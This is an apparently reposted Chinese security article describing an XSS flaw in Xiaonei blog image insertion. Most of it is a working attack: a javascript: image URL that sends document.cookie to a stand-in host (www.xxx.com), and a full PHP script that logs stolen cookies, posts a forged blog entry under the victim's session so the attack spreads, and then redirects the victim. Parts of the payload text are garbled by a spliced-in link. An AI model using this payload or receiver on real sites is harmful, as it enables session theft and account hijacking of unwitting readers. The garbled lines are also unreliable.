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校內(nèi)網(wǎng)最新xss可竊Cookies密碼

安全 網(wǎng)站安全
校內(nèi)網(wǎng)在發(fā)blog時(shí)對(duì)插入圖片過濾不嚴(yán)格,存在xss漏洞.

校內(nèi)網(wǎng)在發(fā)blog時(shí)對(duì)插入圖片過濾不嚴(yán)格,存在xss漏洞。

在發(fā)blog時(shí)將插入圖片URL寫為如下代碼即可觸發(fā):普通瀏覽復(fù)制代碼打印代碼

javascript:window.location.href='http://www.xxx.com/test.
href="tag.php?name=php">php?cookie='+document.cookie  

javascript:window.location.+document.cookie test.php的作用是竊取cookie、偽造閱覽者身份發(fā)一個(gè)blog、跳轉(zhuǎn)到一個(gè)正常的日志,代碼如下:普通瀏覽復(fù)制代碼打印代碼

ob_start();    
$url = 'blog.xiaonei.com';  
$cookie=$_GET['cookie'];  
$cookie1=$cookie."\r\n\r\n";  
fputs(fopen('a.txt','a+'),$cookie1); //cookie寫入 a.txt  
//發(fā)一條偽造的日志,這條日志里面也可以插入惡意代碼  
$sock = fsockopen("$url", 80, $errno, $errstr, 30);  
if (!$sock) die("$errstr ($errno)\n");  
$data = "title=test by fly&body=test by
fly&categoryId=0&blogControl=99&passwordProtedted=0&
passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";  
fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\r\n");  
fwrite($sock, "Accept: */*\r\n");  
fwrite($sock, "Referer: http://$url\r\n");  
fwrite($sock, "Accept-Language: zh-cn\r\n");  
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");  
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");  
fwrite($sock, "User-Agent: Mozilla\r\n");  
fwrite($sock, "Host: $url\r\n");  
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");  
fwrite($sock, "Connection: Keep-Alive\r\n");  
fwrite($sock, "Cache-Control: no-cache\r\n");  
fwrite($sock, "Cookie:".$cookie."\r\n\r\n");  
fwrite($sock, $data);  
$headers = "";  
while ($str = trim(fgets($sock, 4096)))  
$headers .= "$str\n";  
echo "\n";  
$body = "";  
while (!feof($sock))  
$body .= fgets($sock, 4096);  
fclose($sock);  
//echo $body;  
//跳轉(zhuǎn)到一個(gè)正常的日志  
Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx");    
ob_end_flush();  
?>

 

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責(zé)任編輯:佚名 來源: 黑軟基地
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